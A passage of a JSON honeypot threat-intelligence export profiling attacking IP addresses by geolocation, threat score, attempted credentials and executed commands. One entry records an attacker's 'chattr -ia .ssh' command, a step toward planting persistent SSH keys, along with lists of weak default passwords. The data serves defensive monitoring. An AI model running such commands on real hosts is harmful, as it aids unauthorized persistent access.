      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 37
      }
    },
    "185.222.138.254": {
      "attack_count": 84,
      "first_seen": "2026-05-08T18:04:58.033Z",
      "last_seen": "2026-05-18T22:34:30.473Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kosovo",
      "country_code": "XK",
      "city": "Srbica",
      "asn": 208286,
      "as_org": "Max tv SH. P. K",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:04:58.033000+00:00",
        "last_seen_30d": "2026-05-18T22:35:36.003000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "41.60.232.200": {
      "attack_count": 80,
      "first_seen": "2026-05-23T08:56:35.504Z",
      "last_seen": "2026-05-23T13:51:58.834Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:56:35.504000+00:00",
        "last_seen_30d": "2026-05-23T13:53:04.183000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 40
      }
    },
    "103.161.34.59": {
      "attack_count": 78,
      "first_seen": "2026-05-18T22:41:32.717Z",
      "last_seen": "2026-05-31T21:42:22.816Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 43.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:41:32.717000+00:00",
        "last_seen_30d": "2026-05-31T21:43:53.631000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "34.53.188.176": {
      "attack_count": 72,
      "first_seen": "2026-05-06T08:04:53.774Z",
      "last_seen": "2026-05-06T08:05:41.982Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6802",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:04:53.774000+00:00",
        "last_seen_30d": "2026-05-06T08:06:51.884000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "192.250.227.24": {
      "attack_count": 66,
      "first_seen": "2026-05-18T04:58:27.766Z",
      "last_seen": "2026-05-29T19:49:48.329Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36454,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T04:58:27.766000+00:00",
        "last_seen_30d": "2026-05-29T19:50:50.575000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "104.237.147.156": {
      "attack_count": 60,
      "first_seen": "2026-05-13T11:45:20.508Z",
      "last_seen": "2026-05-28T06:06:34.429Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T11:45:20.508000+00:00",
        "last_seen_30d": "2026-05-28T06:07:36.435000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "92.118.39.236": {
      "attack_count": 56,
      "first_seen": "2026-05-10T16:04:12.881Z",
      "last_seen": "2026-05-31T10:09:21.505Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T16:04:12.881000+00:00",
        "last_seen_30d": "2026-05-31T10:10:22.092000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "77.90.185.17": {
      "attack_count": 55,
      "first_seen": "2026-05-30T05:12:17.695Z",
      "last_seen": "2026-05-31T21:20:12.707Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "test",
        "root"
      ],
      "passwords_attempted": [
        "test",
        "abcd1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T05:12:17.695000+00:00",
        "last_seen_30d": "2026-05-31T21:21:20.983000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 55,
        "Suricata": 33
      }
    },
    "139.135.45.10": {
      "attack_count": 50,
      "first_seen": "2026-05-05T07:01:23.482Z",
      "last_seen": "2026-05-05T07:06:47.863Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:01:23.482000+00:00",
        "last_seen_30d": "2026-05-05T07:07:53.013000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.174.103": {
      "attack_count": 50,
      "first_seen": "2026-05-22T21:41:53.717Z",
      "last_seen": "2026-05-22T21:47:25.136Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:41:53.717000+00:00",
        "last_seen_30d": "2026-05-22T21:48:27.124000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.124.108": {
      "attack_count": 50,
      "first_seen": "2026-05-18T13:32:03.631Z",
      "last_seen": "2026-05-18T13:37:28.065Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:32:03.631000+00:00",
        "last_seen_30d": "2026-05-18T13:38:29.374000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "124.221.162.63": {
      "attack_count": 39,
      "first_seen": "2026-05-31T06:54:49.015Z",
      "last_seen": "2026-05-31T07:19:10.553Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1qaz2wsx",
        "Qwerty123",
        "Test12345678",
        "year2025"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T06:54:49.015000+00:00",
        "last_seen_30d": "2026-05-31T07:28:55.775000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 26
      }
    },
    "223.123.125.14": {
      "attack_count": 36,
      "first_seen": "2026-05-23T10:24:15.881Z",
      "last_seen": "2026-05-23T10:28:09.381Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:24:15.881000+00:00",
        "last_seen_30d": "2026-05-23T10:29:12.384000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "20.169.75.194": {
      "attack_count": 34,
      "first_seen": "2026-05-23T21:17:45.164Z",
      "last_seen": "2026-05-24T01:10:38.694Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:17:45.164000+00:00",
        "last_seen_30d": "2026-05-24T01:16:30.467000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 33
      }
    },
    "179.61.223.150": {
      "attack_count": 30,
      "first_seen": "2026-05-10T06:04:58.616Z",
      "last_seen": "2026-05-14T04:47:08.238Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Bend",
      "asn": 397373,
      "as_org": "H4Y Technologies LLC",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:04:58.616000+00:00",
        "last_seen_30d": "2026-05-14T04:48:12.525000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "108.181.11.141": {
      "attack_count": 18,
      "first_seen": "2026-05-08T05:31:53.905Z",
      "last_seen": "2026-05-18T04:00:21.015Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:31:53.905000+00:00",
        "last_seen_30d": "2026-05-18T04:01:27.052000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "57.131.46.57": {
      "attack_count": 18,
      "first_seen": "2026-05-12T22:29:21.849Z",
      "last_seen": "2026-05-19T19:47:46.995Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:29:21.849000+00:00",
        "last_seen_30d": "2026-05-19T19:48:51.753000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "94.26.106.200": {
      "attack_count": 14,
      "first_seen": "2026-05-06T05:07:25.414Z",
      "last_seen": "2026-05-06T06:12:58.677Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T05:07:25.414000+00:00",
        "last_seen_30d": "2026-05-06T07:13:22.978000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 14,
        "Honeytrap": 4
      }
    },
    "178.128.61.47": {
      "attack_count": 13,
      "first_seen": "2026-05-24T13:43:53.050Z",
      "last_seen": "2026-05-24T14:21:03.000Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        ".1kelltech",
        "Admin2025@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:43:53.050000+00:00",
        "last_seen_30d": "2026-05-24T14:22:10.753000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "105.68.197.183": {
      "attack_count": 8,
      "first_seen": "2026-05-17T21:20:31.256Z",
      "last_seen": "2026-05-17T21:28:42.598Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Sal\u00e9",
      "asn": 36884,
      "as_org": "MAROCCONNECT",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T21:20:31.256000+00:00",
        "last_seen_30d": "2026-05-17T21:29:47.670000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "122.117.36.216": {
      "attack_count": 8,
      "first_seen": "2026-05-19T06:24:47.537Z",
      "last_seen": "2026-05-19T06:31:31.255Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Shengang",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:24:47.537000+00:00",
        "last_seen_30d": "2026-05-19T06:32:35.312000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "179.243.248.185": {
      "attack_count": 8,
      "first_seen": "2026-05-23T09:22:28.168Z",
      "last_seen": "2026-05-23T12:47:19.235Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:22:28.168000+00:00",
        "last_seen_30d": "2026-05-23T12:48:23.242000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "201.238.0.27": {
      "attack_count": 8,
      "first_seen": "2026-05-21T14:56:11.199Z",
      "last_seen": "2026-05-21T15:21:01.813Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T14:56:11.199000+00:00",
        "last_seen_30d": "2026-05-21T17:58:08.571000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "61.76.136.25": {
      "attack_count": 8,
      "first_seen": "2026-05-18T21:00:44.381Z",
      "last_seen": "2026-05-18T21:05:07.360Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "matrix2004"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:00:44.381000+00:00",
        "last_seen_30d": "2026-05-18T21:06:52.151000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "91.231.89.62": {
      "attack_count": 7,
      "first_seen": "2026-05-16T12:28:34.376Z",
      "last_seen": "2026-05-16T12:28:38.017Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "\u0000\f\u0000",
        "b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"",
        "b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03c \\x0c j\\x01\\x10\\x02\\xd2\\xf3@?\\x18\\xb3\\t\\xf6\\xd8\\xbf1\\xd6\\xc2\\xa6\\xae\\xd0=\\xe0\\x8d2:\\x91\\xb8\\xf3 \\x01\\xbd\\xc3`\\x1d'"
      ],
      "passwords_attempted": [
        "\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b",
        "b\"4\\xd11.\\xb8;\\x903\\xc3\\x92\\x0b;'#p{oe\\xd5\\xbdm\\x07\\xf6\\x9d\\x93\\x8c\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0\"",
